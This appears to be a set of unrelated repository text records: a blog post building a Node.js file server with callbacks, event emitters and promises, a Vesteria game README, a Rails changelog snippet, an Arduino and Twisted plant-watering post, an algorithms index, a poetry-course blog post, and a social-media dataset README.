When I got to RC, I knew I wanted to wrap my head around how the web works: I had struggled to wrap my head around clients, servers, and HTTP requests. Tom suggested that I build a simple HTTP server and play around with it. I had followed nodejs tutorials before, so this time I decided I would build everything by reading only the docs. I also wanted to get a better handle on I/O - as the internals of the file system were a mystery to me, so I decided that my little app would search for and serve text from files on my computer.

My first version of this server used standard JavaScript callbacks:

{% highlight js %}

var http = require('http'),
	fs = require('fs'),
	url = require('url');

var server = http.createServer(function(req, res) {
//Get the request parameter from the url
	var name = url.parse(req.url, true).query.name;
//If there is a request parameter, hunt through the files for a matching filename
	if (name) {
		fs.readdir(process.cwd(), searchForFile);
	} else {
		var searchError = new Error('To search for a file, add a ?name=... to your url')
		writeError(searchError);
	}
	function searchForFile(err, files) {
		var found = false;
		if (!err) {
			files.forEach(matchFile);
			if (!found) {
				var noFile = new Error('Sorry, there is no such file!\n' +
					'Did you mean to select one of the following files:\n' +
					files.join(', '));
				writeError(noFile);
			}
		} else {
			writeError(err);
		}
		function matchFile(item) {
			//Magical RegExp code to get the name without the file extension
			var itemname = item.replace(/(.*)\.[^.]+$/, '$1');
			//If a matching file has been found, write contents to response
			if (itemname === name) {
				found = true;
				fs.readFile(item, writeSucccess);
			}
		}
	}
	//Success Handler
	function writeSucccess(err, data) {
			res.writeHead(200);
			res.write(data.toString());
			res.end();
		}
	//Error Handler
	function writeError(err) {
			res.writeHead(500);
			console.log(err);
			res.write(err.message);
			res.end();
		}
});
{% endhighlight %}

####Things I learned from writing this version:

+Scope is important. Drawing diagrams helps me figure out control flow and variable access.
+Callbacks are super ugly, and abstracting out functionality to avoid unnecessary repetition can create scope problems.
+Creating custom errors is easy and important.

I had heard that event emitters and file streams were neat, so I decided to write another version of the same server using different patterns. The server looked like this:

{% highlight js %}
var http = require('http'),
	fs = require('fs'),
	FileFinder = require('./filefinder.js');

var server = http.createServer(function(req, res) {
	var filefinder = new FileFinder();
	filefinder.on('error', function(err) {
		console.log('Error!');
		res.writeHead(500);
		res.write(err.message);
		res.end();
	});
	filefinder.on('filefound', function(file) {
		console.log('back to server!');
		var readStream = fs.createReadStream(file);
		readStream.pipe(res);
	});
	filefinder.begin(req.url);

});

server.listen(8080);
{% endhighlight %}

So much cleaner! I put the file-finding code inside a separate module:

{% highlight js %}

var util = require('util'),
	EventEmitter = require('events').EventEmitter,
	url = require('url'),
	fs = require('fs');

var FileFinder = function() {

	EventEmitter.call(this);
	//Get the url & parse the name
	var _parse = function (requesturl) {
		var filename = url.parse(requesturl, true).query.name;
		if (filename) this.emit('findlist', filename);
		else this.emit('error', new Error('Try again using name parameter'));
	};

	var _findfilelist = function (filename) {
		fs.readdir(process.cwd(), getFileList.bind(this));

		function getFileList(err, filelist) {
			if (filelist) {
			this.emit('filelistfound', filelist, filename);
			} else {
			this.emit('error', new Error('Cannot retrieve files'));
			}
		}
	};

	var _findfile = function(files, filename) {
		var found = false;
		files.forEach(findFile.bind(this));
		function findFile(item) {
			itemname = item.replace(/(.*)\.[^.]+$/, '$1');
			if (itemname === filename) {
				found = true;
				this.emit('filefound', item);
			}
		};
		if (!found) {
			console.log('No File found');
			this.emit('error', new Error('Cannot find file named: '+ filename));
		}
	};

	this.begin = function(url) {
		this.emit('begin', url);
	};

	this.on('begin', _parse);
	this.on('findlist', _findfilelist);
	this.on('filelistfound', _findfile);
}

util.inherits(FileFinder, EventEmitter);
module.exports = FileFinder;

{% endhighlight %}

Things I learned from writing this version:

+function.prototype.bind is AMAZING. It allowed me to generalize functionality, without losing fine-tuned control over variable access.
+Object Oriented prototyping in JavaScript is quite unglamorous
+Control flow using event emitters is quite clean, as long as nothing requires multiple events. Branching, however, can get ugly.

I had also heard about this thing called Promises that many JS engineers are excited about, and that will become native in ES6. So I decided to try my hand at them to see what the fuss is about:

{% highlight js %}

var http = require('http'),
	fs = require('fs'),
	url = require('url'),
	Promise = require('promise');

//Promisify node fs functionality
var readDir = Promise.denodeify(fs.readdir);
var read = Promise.denodeify(fs.readFile);

var server = http.createServer(function(req, res) {
	var filename = url.parse(req.url, true).query.name;
	readDir(process.cwd())
	.then(findFile.bind(undefined, filename))
	.then(read)
	.then(write.bind(this, res))
	.catch(write_error.bind(this, res))
});

function findFile(filename, listOfFiles) {
	if (!filename) {
		throw new Error("Must request a file using the name search parameter");
	}
	var file = listOfFiles.filter(function(item) {
		return (item.replace(/(.*)\.[^.]+$/, '$1') === filename);
	})[0];
	if (file) {
		return file;
	} else {
		throw new Error("No file found with name: " + filename);
	}
}

function write(res, data) {
	res.write(data);
	res.end();
}

function write_error(res, err) {
	res.write(err.message);
	res.end();
}

server.listen(8080);

{% endhighlight %}

What I learned:

+The server code is way more clean, especially after I named and separated out each function. That said, as with event emitters, this depends on control flow that is pretty linear. JavaScript is _still_ single-threaded, after all.
+bind is still magical
+I am glad that someone else has written some generic wrapper code that converts callbacks into promises. It apparently works only when functions adhere to the standard callback function(err, data) pattern, which is limiting. Exploring the source would probably be a good idea.

Overall, this was a useful project that wasn't too difficult. This week, I also enjoyed pairing with Tom and Steve on their JS projects: I helped Tom write a lazy HTML canvas, that collects operations to be executed later. Some unexpected behavior led us to discover that elements of the canvas API (e.g: FillStyle) that don't act as regular functions actually wrap a getter and setter function.


text:
Vesteria is a fantasy MMORPG on Roblox- originally founded by berezaa, sk3let0n and Polymorphic in the Roblox Incubator program.

In early 2020, Vesteria shut down and the team underwent a huge effort to convert the game to support Rojo and VSCode. Multiple global refactors followed, hackily attempting to salvage the game's codebase. Simulatnously, the game went through a signifcant creative overhaul to simplify and refine the gameplay in an attempt to return to our roots. While the project was never completed and the game has reverted back to the original version, there is still great value to be found in sharing the lessons we learned with the public.

DevForum Announcement: https://devforum.roblox.com/t/vesteria-open-source/842436

## Play Vesteria
https://www.roblox.com/games/2376885433/Vesteria/

## The Vesteria Team
https://www.roblox.com/groups/4238824/The-Vesteria-Team/

Copyright (c) 2020, Vesteria, Inc.

Provided for public use in educational, recreational or commercial purposes under the Apache 2 License.

repository: IEnemyFiles/vesteria

repo_name: IEnemyFiles/vesteria


text:
*   Fix a bug where DebugExceptions throws an error when malformed query parameters are provided

    *Yuki Nishijima*, *Stan Lo*

## Rails 6.0.0.rc1 (April 24, 2019) ##

Please check [6-0-stable](https://github.com/rails/rails/blob/6-0-stable/actionpack/CHANGELOG.md) for previous changes.

license: MIT,Ruby

repository: anio/rails

detected_licenses: MIT Ruby

repo_name: anio/rails


text:
---
layout: post
title: Twisted gardener
techs: [Python , plus,Arduino]
---

## The problem

The Summer is on , that means a lot of heat for everyone , including plants. Currently, with this heat they need watering almost everyday. On the other hand it is a great time to go to the beach and get some refreshing bath. However this means that we wont be able to provide the plant their water.

## The solution

The easy solution would be to buy some watering timer, but they are expensive and they require some continous water supply which I lack in my tiny apartment balcony. Besides being a hack kind of guy I liked to idea of doing it by my own.
The initial plan was to have a server providing the soil humidity data though internet while allowing to active the watering of the plants. The water pump and the sensors are managed by an arduino which connects to the server via bluetooth.

## The implementation

As a big fan of python I decided to use it for this development, as I need both serial communications and an http server, twisted was a nice framework , providing asynchronous capabilities. The downside is that I would need to stick with python 2.7. Another good point it is that twisted is easy to test and provides dedicated tools for this matter, although this can be seen as a drawback as it is increases your dependencies, increasing the complexity of the tests.

As a big fan of python as I might be I however consider that for GUIs the most versatile solution is to use HTML & Javascript as it provides a multiplatform compatibility out of the box and a wide range of libraries and framework so you can easily customize the GUI with great freedom. Therefore I decided to use D3js in order to represent the data collected by the humidity sensors, this is a great library that offers great flexibility to visualize your data but on the other hand it is not as simple to use as other more limited solutions.

You can find the code in the following repo: [Gardener](https://github.com/rulonder/Gardener)

## Arduino

An Arduino will be in charge of interfacing between the server and the sensors and pump. The code is very simple, it just reads the serial port to see if a valid command have been recieved, either pupmping some water or reading the soil humidity.

~~~ c
/* Simple Serial ECHO script : Written by ScottC 03/07/2012 */
#include<stdlib.h>
/* Use a variable called byteRead to temporarily store
   the data coming from the computer */
byte byteRead;
int analogPin = 0;
int readVal = 0;
int pumpPin = 2;
float avegValue = 0.0;
char holder[7];

void setup() {
// Turn the Serial Protocol ON
  Serial.begin(9600);
  pinMode(pumpPin,OUTPUT);
}

void loop() {

  if (Serial.available()) {
    /* read the most recent byte */
    byteRead = Serial.read();
    /*ECHO the value that was read, back to the serial port. */
    processInput((char)byteRead);
  }
}

void processInput(char Input) {

  // do something different depending on the
  switch (Input) {
  case 'p':
    pump()  ;
    returnValue("\"Done\"",false);
    break;
  case 'r':
    returnValue(getSensorReading(),false);
    break;
  default:
    returnValue("\"unknownCommand\"",true);
    break;
  }
}

String getSensorReading(){
     /*  check if data has been sent from the computer: */
     avegValue = 0;
     for (int i=0; i<10;i++) {
         avegValue += analogRead(analogPin);
     }
     avegValue = avegValue/10.0;
         // read the input pin
     String g= (String)dtostrf( avegValue, 7, 3,holder);
     return g;
}

void returnValue(String value, boolean error){
  String Error = "null";
  if (error) {
    Error = "1";
  };
  String g= "{\"value\" :"+value+",\"error\":"+Error+"}";
  Serial.println(g);
}

void pump() {
  digitalWrite(pumpPin, HIGH);
  delay(2000);
  digitalWrite(pumpPin,LOW);
}

~~~

The pump is not directly driven from the Arduino but through a mosfet.

## User interface

The user interface is just a graph of the lasts humidity values draw by D3.js and a button to manually ask for the pump.

## Testing Twisted

In order to test the twisted program we will use Trial which is de facto tool for this kind of testing. Usually making unit testing of serial port communications is not an easy task, as it is difficult to mock a serial port.


text:
# General

- [Algo + DS](algo-ds)
- [Types of Algorithms](types-of-algorithms)
- [List of Algorithms](list-of-algorithms)
- [Union-Find Algorithm](union-find-algorithm)
- [Euclidean Algorithm - GCD](euclidean-algorithm-gcd)
- [Two Stack Algorithm](two-stack-algorithm)
- [Knuth Shuffle](knuth-shuffle)
- [Quick Select](quick-select)
- [1d Range Search](1d-range-search)
- [Sweep Line Algorithm](sweep-line-algorithm)
- [2d Orthogonal Range Search](2d-orthogonal-range-search)
- [Orthogonal Rectangle Intersection Search](orthogonal-rectangle-intersection-search)
- [Flocking Boids Algorithm](flocking-boids-algorithm)
- [Appel's Algorithm](appel-algorithm)
- [Reverse Polish Notation / Postfix Notation](reverse-polish-notation-postfix-notation)
- [Prime Factorization](prime-factorization)
- [N Queens Problem](n-queens-problem)
- [Recursion](recursion)
- [Algorithms Questions](algorithms-questions)
- [Competitive Programming](competitive-programming)


text:
---
layout: post
title: Poetry Course
subtitle: CCC | Monsoon 2016
category: College
tags: [college, poetry, snu, english]
---

As I'm doing a Poetry Appreciation course this semester, I really relate to this person's thoughts after the first couple of lectures.

[Why I Hate Poetry](http://michiedo.blogspot.in/2008/05/why-i-hate-poetry.html)

Some snippets from the post :

![Cow Poetry](../img/cowpoetry.jpg)

>	 I hate that with poetry, we are expected to read into it all.

>	With poetry, you’re given basically nothing, and you’re expected to identify facts that you would have absolutely no way of knowing. It’s ridiculous.

>	I do think poetry is occasionally respectable. I guess, I’m in favor of the privatization of poetry.

I can understand how dissecting poetry can help us create symbolism, and watch for subtleties in writing. I can also see how poetry can sometimes be fun. I like some poetry, when I make it mean something new to me instead of trying to guess why the author wrote it. I do also enjoy the challenge of creating poems with particular rhythms. I like funny poetry. I think that some poems are kind of like a collage of senses; they can combine smells and imagery and those sorts of things, and that’s kind of interesting and even occasionally powerful.

 I’m not a mind-reader. I think a lot of people who get excited about poetry are really pretentious

---

repository: FlameFractal/blog

repo_name: FlameFractal/blog


text:
# ViralContentPropagation

A collection of scraped submissions from Reddit, ImgUr, and Youtube, as described in:
  - [Lifespan and propagation of information in On-line Social Networks: A case study based on Reddit](https://www.sciencedirect.com/science/article/pii/S1084804515001307)
  - [Viral content propagation in Online Social Networks](https://arxiv.org/abs/1712.02245)

**Please cite the aforementioned papers, if you find the dataset useful for your research.**

## Data filename

The data is named as **OriginatingDomain_ScrappedFromSubreddit.txt**

## Data headers

Scrapped data is stored in "tab" separated .txt files.

The headers are as follows:
- Reddit Url
- Domain Url
- Submitted in Subreddit
- Sum of positive and negative votes in reddit
  - Formatted as a ":" separated timeseries
- Twitter mentions of either Reddit or Domain Url
  - Formatted as a ":" separated timeseries
- Facebook mentions of either Reddit or Domain Url
  - Formatted as a ":" separated timeseries
- Domain views
  - Formatted as a ":" separated timeseries
- Identifier